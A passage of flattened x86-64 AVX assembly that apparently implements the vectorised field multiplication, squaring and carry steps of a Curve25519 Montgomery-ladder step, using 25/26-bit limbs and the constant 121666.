vpaddq subc2(%rip),%xmm0,%xmm2 psubq %xmm12,%xmm2 paddq %xmm0,%xmm12 vpunpckhqdq %xmm12,%xmm2,%xmm0 punpcklqdq %xmm12,%xmm2 vpmuludq %xmm2,%xmm10,%xmm12 vpaddq %xmm9,%xmm9,%xmm13 vpmuludq %xmm13,%xmm9,%xmm9 paddq %xmm9,%xmm12 vpmuludq %xmm0,%xmm10,%xmm9 vpmuludq %xmm2,%xmm13,%xmm14 paddq %xmm14,%xmm9 vpunpcklqdq %xmm4,%xmm1,%xmm14 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpaddq subc2(%rip),%xmm1,%xmm4 psubq %xmm14,%xmm4 paddq %xmm1,%xmm14 vpunpckhqdq %xmm14,%xmm4,%xmm1 punpcklqdq %xmm14,%xmm4 movdqa %xmm1,0(%rsp) paddq %xmm1,%xmm1 movdqa %xmm1,16(%rsp) pmuludq v19_19(%rip),%xmm1 movdqa %xmm1,32(%rsp) vpmuludq %xmm4,%xmm10,%xmm1 vpmuludq %xmm2,%xmm2,%xmm14 paddq %xmm14,%xmm1 vpmuludq 0(%rsp),%xmm10,%xmm14 vpmuludq %xmm4,%xmm13,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm5,%xmm6,%xmm15 vpunpckhqdq %xmm5,%xmm6,%xmm5 vpaddq subc2(%rip),%xmm5,%xmm6 psubq %xmm15,%xmm6 paddq %xmm5,%xmm15 vpunpckhqdq %xmm15,%xmm6,%xmm5 punpcklqdq %xmm15,%xmm6 movdqa %xmm6,48(%rsp) pmuludq v19_19(%rip),%xmm6 movdqa %xmm6,64(%rsp) movdqa %xmm5,80(%rsp) pmuludq v38_38(%rip),%xmm5 movdqa %xmm5,96(%rsp) vpmuludq 48(%rsp),%xmm10,%xmm5 vpaddq %xmm0,%xmm0,%xmm6 vpmuludq %xmm6,%xmm0,%xmm0 paddq %xmm0,%xmm5 vpmuludq 80(%rsp),%xmm10,%xmm0 vpmuludq %xmm4,%xmm6,%xmm15 paddq %xmm15,%xmm0 vpmuludq %xmm6,%xmm13,%xmm15 paddq %xmm15,%xmm1 vpmuludq %xmm6,%xmm2,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm7,%xmm8,%xmm15 vpunpckhqdq %xmm7,%xmm8,%xmm7 vpaddq subc2(%rip),%xmm7,%xmm8 psubq %xmm15,%xmm8 paddq %xmm7,%xmm15 vpunpckhqdq %xmm15,%xmm8,%xmm7 punpcklqdq %xmm15,%xmm8 movdqa %xmm8,112(%rsp) pmuludq v19_19(%rip),%xmm8 movdqa %xmm8,448(%rsp) vpmuludq 112(%rsp),%xmm10,%xmm8 vpmuludq %xmm7,%xmm10,%xmm10 vpmuludq v38_38(%rip),%xmm7,%xmm15 vpmuludq %xmm15,%xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm15,%xmm13,%xmm7 paddq %xmm7,%xmm3 vpmuludq %xmm15,%xmm2,%xmm7 paddq %xmm7,%xmm11 vpmuludq 80(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq 16(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm5 vpmuludq 48(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm0 vpmuludq 112(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm10 vpmuludq %xmm15,%xmm6,%xmm7 paddq %xmm7,%xmm12 vpmuludq %xmm15,%xmm4,%xmm7 paddq %xmm7,%xmm9 vpaddq %xmm2,%xmm2,%xmm2 vpmuludq %xmm4,%xmm2,%xmm7 paddq %xmm7,%xmm5 vpmuludq 448(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm3 vpmuludq 448(%rsp),%xmm6,%xmm7 paddq %xmm7,%xmm11 vpmuludq 0(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm0 vpmuludq 48(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm8 vpmuludq 80(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 vpmuludq 96(%rsp),%xmm4,%xmm2 paddq %xmm2,%xmm11 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm8 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq 448(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 16(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm1 vpmuludq 48(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm14 vpmuludq 96(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 448(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 16(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm8 vpmuludq 48(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm10 vpmuludq 80(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm4 paddq %xmm4,%xmm5 vpmuludq 112(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm0 movdqa 48(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 448(%rsp),%xmm4 paddq %xmm4,%xmm1 movdqa 80(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 448(%rsp),%xmm4 paddq %xmm4,%xmm14 vpmuludq 64(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 64(%rsp),%xmm4 paddq %xmm4,%xmm11 movdqa 16(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm12 movdqa 48(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 0(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 movdqa 32(%rsp),%xmm2 pmuludq 0(%rsp),%xmm2 paddq %xmm2,%xmm3 movdqa 64(%rsp),%xmm2 pmuludq 48(%rsp),%xmm2 paddq %xmm2,%xmm12 movdqa 96(%rsp),%xmm2 pmuludq 80(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 448(%rsp),%xmm2 pmuludq 112(%rsp),%xmm2 paddq %xmm2,%xmm5 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $25,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m25(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm5 vpsrlq $26,%xmm12,%xmm2 paddq %xmm2,%xmm9 pand m26(%rip),%xmm12 vpsrlq $25,%xmm0,%xmm2 paddq %xmm2,%xmm8 pand m25(%rip),%xmm0 vpsrlq $25,%xmm9,%xmm2 paddq %xmm2,%xmm1 pand m25(%rip),%xmm9 vpsrlq $26,%xmm8,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm8 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm14 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm3 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm3 pand m25(%rip),%xmm10 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpunpckhqdq %xmm11,%xmm3,%xmm2 movdqa %xmm2,0(%rsp) pshufd $0,%xmm3,%xmm2 pshufd $0,%xmm11,%xmm3 vpmuludq 160(%rsp),%xmm2,%xmm4 vpmuludq 432(%rsp),%xmm3,%xmm6 paddq %xmm6,%xmm4 vpmuludq 176(%rsp),%xmm2,%xmm6 vpmuludq 304(%rsp),%xmm3,%xmm7 paddq %xmm7,%xmm6 vpmuludq 208(%rsp),%xmm2,%xmm7 vpmuludq 336(%rsp),%xmm3,%xmm11 paddq %xmm11,%xmm7 vpmuludq 240(%rsp),%xmm2,%xmm11 vpmuludq 368(%rsp),%xmm3,%xmm13 paddq %xmm13,%xmm11 vpmuludq 272(%rsp),%xmm2,%xmm2 vpmuludq 400(%rsp),%xmm3,%xmm3 paddq %xmm3,%xmm2 vpunpckhqdq %xmm9,%xmm12,%xmm3 movdqa %xmm3,16(%rsp) pshufd $0,%xmm12,%xmm3 pshufd $0,%xmm9,%xmm9 vpmuludq 288(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm4 vpmuludq 416(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm4 vpmuludq 160(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm6 vpmuludq 432(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm6 vpmuludq 176(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm7 vpmuludq 304(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm7 vpmuludq 208(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm11 vpmuludq 336(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm11 vpmuludq 240(%rsp),%xmm3,%xmm3 paddq %xmm3,%xmm2 vpmuludq 368(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpunpckhqdq %xmm14,%xmm1,%xmm3 movdqa %xmm3,32(%rsp) pshufd $0,%xmm1,%xmm1 pshufd $0,%xmm14,%xmm3 vpmuludq 256(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm4 vpmuludq 384(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm4 vpmuludq 288(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm6 vpmuludq 416(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm6 vpmuludq 160(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm7 vpmuludq 432(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm7 vpmuludq 176(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm11 vpmuludq 304(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm11 vpmuludq 208(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm2 vpmuludq 336(%rsp),%xmm3,%xmm1 paddq %xmm1,%xmm2 vpunpckhqdq %xmm0,%xmm5,%xmm1 movdqa %xmm1,48(%rsp) pshufd $0,%xmm5,%xmm1 pshufd $0,%xmm0,%xmm0 vpmuludq 224(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm4 vpmuludq 352(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm4 vpmuludq 256(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm6 vpmuludq 384(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm6 vpmuludq 288(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm7 vpmuludq 416(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm7 vpmuludq 160(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm11 vpmuludq 432(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm11 vpmuludq 176(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm2 vpmuludq 304(%rsp),%xmm0,%xmm0 paddq %xmm0,%xmm2 vpunpckhqdq %xmm10,%xmm8,%xmm0 movdqa %xmm0,64(%rsp) pshufd $0,%xmm8,%xmm0 pshufd $0,%xmm10,%xmm1 vpmuludq 192(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm4 vpmuludq 320(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm4 vpmuludq 224(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm6 vpmuludq 352(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm6 vpmuludq 256(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm7 vpmuludq 384(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm7 vpmuludq 288(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm11 vpmuludq 416(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm11 vpmuludq 160(%rsp),%xmm0,%xmm0 paddq %xmm0,%xmm2 vpmuludq 432(%rsp),%xmm1,%xmm0 paddq %xmm0,%xmm2 movdqa %xmm4,80(%rsp) movdqa %xmm6,96(%rsp) movdqa %xmm7,112(%rsp) movdqa %xmm11,448(%rsp) movdqa %xmm2,496(%rsp) movdqa 144(%rsp),%xmm0 vpmuludq %xmm0,%xmm0,%xmm1 paddq %xmm0,%xmm0 movdqa 128(%rsp),%xmm2 vpmuludq %xmm2,%xmm0,%xmm3 movdqa 480(%rsp),%xmm4 vpmuludq %xmm4,%xmm0,%xmm5 movdqa 464(%rsp),%xmm6 vpmuludq %xmm6,%xmm0,%xmm7 movdqa 528(%rsp),%xmm8 vpmuludq %xmm8,%xmm0,%xmm9 vpmuludq 512(%rsp),%xmm0,%xmm10 vpmuludq 592(%rsp),%xmm0,%xmm11 vpmuludq 576(%rsp),%xmm0,%xmm12 vpmuludq 624(%rsp),%xmm0,%xmm13 movdqa 672(%rsp),%xmm14 vpmuludq %xmm14,%xmm0,%xmm0 vpmuludq v38_38(%rip),%xmm14,%xmm15 vpmuludq %xmm15,%xmm14,%xmm14 paddq %xmm14,%xmm13 vpaddq %xmm6,%xmm6,%xmm14 vpmuludq %xmm14,%xmm6,%xmm6 paddq %xmm6,%xmm11 vpaddq %xmm2,%xmm2,%xmm6 vpmuludq %xmm6,%xmm2,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm6,%xmm2 paddq %xmm2,%xmm1 vpmuludq %xmm15,%xmm4,%xmm2 paddq %xmm2,%xmm3 vpmuludq 544(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm11 vpmuludq 592(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm12 vpmuludq 640(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm13 vpmuludq 624(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm4,%xmm6,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm14,%xmm6,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm8,%xmm6,%xmm2 paddq %xmm2,%xmm10 vpmuludq %xmm15,%xmm14,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm8,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm14,%xmm4,%xmm2 paddq %xmm2,%xmm10 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq %xmm8,%xmm2,%xmm4 paddq %xmm4,%xmm11 vpmuludq 688(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 vpmuludq 688(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm3 vpmuludq 512(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 592(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm13 vpmuludq 576(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 vpmuludq 656(%rsp),%xmm8,%xmm2 paddq %xmm2,%xmm3 vpmuludq %xmm8,%xmm14,%xmm2 paddq %xmm2,%xmm12 vpmuludq %xmm8,%xmm8,%xmm2 paddq %xmm2,%xmm13 vpaddq %xmm8,%xmm8,%xmm2 vpmuludq 688(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm5 vpmuludq 544(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm9 vpmuludq 592(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm10 vpmuludq 656(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm1 movdqa 544(%rsp),%xmm4 pmuludq 688(%rsp),%xmm4 paddq %xmm4,%xmm7 vpmuludq 544(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm13 vpmuludq 592(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm0 vpmuludq 640(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm11 vpmuludq 624(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm12 movdqa 592(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 688(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 608(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 movdqa 544(%rsp),%xmm4 pmuludq 608(%rsp),%xmm4 paddq %xmm4,%xmm3 movdqa 544(%rsp),%xmm4 pmuludq 656(%rsp),%xmm4 paddq %xmm4,%xmm5 movdqa 592(%rsp),%xmm4 pmuludq 656(%rsp),%xmm4 paddq %xmm4,%xmm7 movdqa 640(%rsp),%xmm4 pmuludq 688(%rsp),%xmm4 paddq %xmm4,%xmm10 vpmuludq 512(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 movdqa 560(%rsp),%xmm2 pmuludq 512(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 608(%rsp),%xmm2 pmuludq 592(%rsp),%xmm2 paddq %xmm2,%xmm5 movdqa 656(%rsp),%xmm2 pmuludq 576(%rsp),%xmm2 paddq %xmm2,%xmm9 movdqa 688(%rsp),%xmm2 pmuludq 624(%rsp),%xmm2 paddq %xmm2,%xmm11 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm3,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm3 vpsrlq $26,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm7 pand m26(%rip),%xmm5 vpsrlq $25,%xmm12,%xmm2 paddq %xmm2,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm7,%xmm2 paddq %xmm2,%xmm9 pand m25(%rip),%xmm7 vpsrlq $26,%xmm13,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm0,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm1 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm1 pand m25(%rip),%xmm0 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpunpckhqdq %xmm3,%xmm1,%xmm2 vpunpcklqdq %xmm3,%xmm1,%xmm1 movdqa %xmm1,464(%rsp) vpaddq subc0(%rip),%xmm2,%xmm3 psubq %xmm1,%xmm3 vpunpckhqdq %xmm3,%xmm2,%xmm1 vpunpcklqdq %xmm3,%xmm2,%xmm2 movdqa %xmm2,480(%rsp) movdqa %xmm1,512(%rsp) psllq $1,%xmm1 movdqa %xmm1,528(%rsp) pmuludq v121666_121666(%rip),%xmm3 movdqa 80(%rsp),%xmm1 vpunpcklqdq %xmm1,%xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm3,%xmm1 vpunpckhqdq %xmm7,%xmm5,%xmm3 vpunpcklqdq %xmm7,%xmm5,%xmm4 movdqa %xmm4,544(%rsp) vpaddq subc2(%rip),%xmm3,%xmm5 psubq %xmm4,%xmm5 vpunpckhqdq %xmm5,%xmm3,%xmm4 vpunpcklqdq %xmm5,%xmm3,%xmm3 movdqa %xmm3,560(%rsp) movdqa %xmm4,576(%rsp) psllq $1,%xmm4 movdqa %xmm4,592(%rsp) pmuludq v121666_121666(%rip),%xmm5 movdqa 96(%rsp),%xmm3 vpunpcklqdq %xmm3,%xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm5,%xmm3 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm6 movdqa %xmm6,608(%rsp) vpaddq subc2(%rip),%xmm5,%xmm7 psubq %xmm6,%xmm7 vpunpckhqdq %xmm7,%xmm5,%xmm6 vpunpcklqdq %xmm7,%xmm5,%xmm5 movdqa %xmm5,624(%rsp) movdqa %xmm6,640(%rsp) psllq $1,%xmm6 movdqa %xmm6,656(%rsp) pmuludq v121666_121666(%rip),%xmm7 movdqa 112(%rsp),%xmm5 vpunpcklqdq %xmm5,%xmm7,%xmm6 vpunpckhqdq %xmm5,%xmm7,%xmm5 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm8 movdqa %xmm8,672(%rsp) vpaddq subc2(%rip),%xmm7,%xmm9 psubq %xmm8,%xmm9 vpunpckhqdq %xmm9,%xmm7,%xmm8 vpunpcklqdq %xmm9,%xmm7,%xmm7 movdqa %xmm7,688(%rsp) movdqa %xmm8,704(%rsp) psllq $1,%xmm8 movdqa %xmm8,720(%rsp) pmuludq v121666_121666(%rip),%xmm9 movdqa 448(%rsp),%xmm7 vpunpcklqdq %xmm7,%xmm9,%xmm8 vpunpckhqdq %xmm7,%xmm9,%xmm7 vpunpckhqdq %xmm0,%xmm13,%xmm9 vpunpcklqdq %xmm0,%xmm13,%xmm0 movdqa %xmm0,448(%rsp) vpaddq subc2(%rip),%xmm9,%xmm10 psubq %xmm0,%xmm10 vpunpckhqdq %xmm10,%xmm9,%xmm0 vpunpcklqdq %xmm10,%xmm9,%xmm9 movdqa %xmm9,736(%rsp) movdqa %xmm0,752(%rsp) psllq $1,%xmm0 movdqa %xmm0,768(%rsp) pmuludq v121666_121666(%rip),%xmm10 movdqa 496(%rsp),%xmm0 vpunpcklqdq %xmm0,%xmm10,%xmm9 vpunpckhqdq %xmm0,%xmm10,%xmm0 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $25,%xmm1,%xmm10 paddq %xmm10,%xmm4 pand m25(%rip),%xmm1 vpsrlq $26,%xmm8,%xmm10 paddq %xmm10,%xmm7 pand m26(%rip),%xmm8 vpsrlq $26,%xmm4,%xmm10 paddq %xmm10,%xmm3 pand m26(%rip),%xmm4 vpsrlq $25,%xmm7,%xmm10 paddq %xmm10,%xmm9 pand m25(%rip),%xmm7 vpsrlq $25,%xmm3,%xmm10 paddq %xmm10,%xmm6 pand m25(%rip),%xmm3 vpsrlq $26,%xmm9,%xmm10 paddq %xmm10,%xmm0 pand m26(%rip),%xmm9 vpsrlq $26,%xmm6,%xmm10 paddq %xmm10,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm0,%xmm10 vpsllq $4,%xmm10,%xmm11 paddq %xmm10,%xmm2 psllq $1,%xmm10 paddq %xmm10,%xmm11 paddq %xmm11,%xmm2 pand m25(%rip),%xmm0 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm10 movdqa %xmm10,80(%rsp) vpunpcklqdq %xmm1,%xmm2,%xmm1 vpunpckhqdq %xmm3,%xmm4,%xmm2 movdqa %xmm2,96(%rsp) vpunpcklqdq %xmm3,%xmm4,%xmm2 vpunpckhqdq %xmm5,%xmm6,%xmm3 movdqa %xmm3,112(%rsp) vpunpcklqdq %xmm5,%xmm6,%xmm3 vpunpckhqdq %xmm7,%xmm8,%xmm4 movdqa %xmm4,128(%rsp) vpunpcklqdq %xmm7,%xmm8,%xmm4 vpunpckhqdq %xmm0,%xmm9,%xmm5 movdqa %xmm5,144(%rsp) vpunpcklqdq %xmm0,%xmm9,%xmm0 movdqa 464(%rsp),%xmm5 paddq %xmm5,%xmm1 vpunpcklqdq %xmm1,%xmm5,%xmm6 vpunpckhqdq %xmm1,%xmm5,%xmm1 vpmuludq 512(%rsp),%xmm6,%xmm5 vpmuludq 480(%rsp),%xmm1,%xmm7 paddq %xmm7,%xmm5 vpmuludq 560(%rsp),%xmm6,%xmm7 vpmuludq 528(%rsp),%xmm1,%xmm8 paddq %xmm8,%xmm7 vpmuludq 576(%rsp),%xmm6,%xmm8 vpmuludq 560(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm8 vpmuludq 624(%rsp),%xmm6,%xmm9 vpmuludq 592(%rsp),%xmm1,%xmm10 paddq %xmm10,%xmm9 vpmuludq 640(%rsp),%xmm6,%xmm10 vpmuludq 624(%rsp),%xmm1,%xmm11 paddq %xmm11,%xmm10 vpmuludq 688(%rsp),%xmm6,%xmm11 vpmuludq 656(%rsp),%xmm1,%xmm12 paddq %xmm12,%xmm11 vpmuludq 704(%rsp),%xmm6,%xmm12 vpmuludq 688(%rsp),%xmm1,%xmm13 paddq %xmm13,%xmm12 vpmuludq 736(%rsp),%xmm6,%xmm13 vpmuludq 720(%rsp),%xmm1,%xmm14 paddq %xmm14,%xmm13 vpmuludq 752(%rsp),%xmm6,%xmm14 vpmuludq 736(%rsp),%xmm1,%xmm15 paddq %xmm15,%xmm14 vpmuludq 480(%rsp),%xmm6,%xmm6 pmuludq v19_19(%rip),%xmm1 vpmuludq 768(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm6 movdqa 544(%rsp),%xmm1 paddq %xmm1,%xmm2 vpunpcklqdq %xmm2,%xmm1,%xmm15 vpunpckhqdq %xmm2,%xmm1,%xmm1 vpmuludq 480(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm7 vpmuludq 512(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm8 vpmuludq 560(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm9 vpmuludq 576(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm10 vpmuludq 624(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm11 vpmuludq 640(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm12 vpmuludq 688(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm13 vpmuludq 704(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm15 vpmuludq 736(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm6 pmuludq 752(%rsp),%xmm15 paddq %xmm15,%xmm5 vpmuludq 480(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 528(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 560(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 592(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 624(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 656(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 688(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 720(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 736(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 pmuludq 768(%rsp),%xmm1 paddq %xmm1,%xmm7 movdqa 608(%rsp),%xmm1 paddq %xmm1,%xmm3 vpunpcklqdq %xmm3,%xmm1,%xmm2 vpunpckhqdq %xmm3,%xmm1,%xmm1 vpmuludq 480(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 vpmuludq 512(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm10 vpmuludq 560(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 576(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 624(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 640(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 688(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 704(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 736(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 pmuludq 752(%rsp),%xmm2 paddq %xmm2,%xmm8 vpmuludq 480(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 528(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 560(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 592(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 624(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 656(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 688(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 720(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 736(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 pmuludq 768(%rsp),%xmm1 paddq %xmm1,%xmm9 movdqa 672(%rsp),%xmm1 paddq %xmm1,%xmm4 vpunpcklqdq %xmm4,%xmm1,%xmm2 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpmuludq 480(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 512(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 560(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 576(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 624(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 640(%rsp),%xmm2,%xmm3 paddq 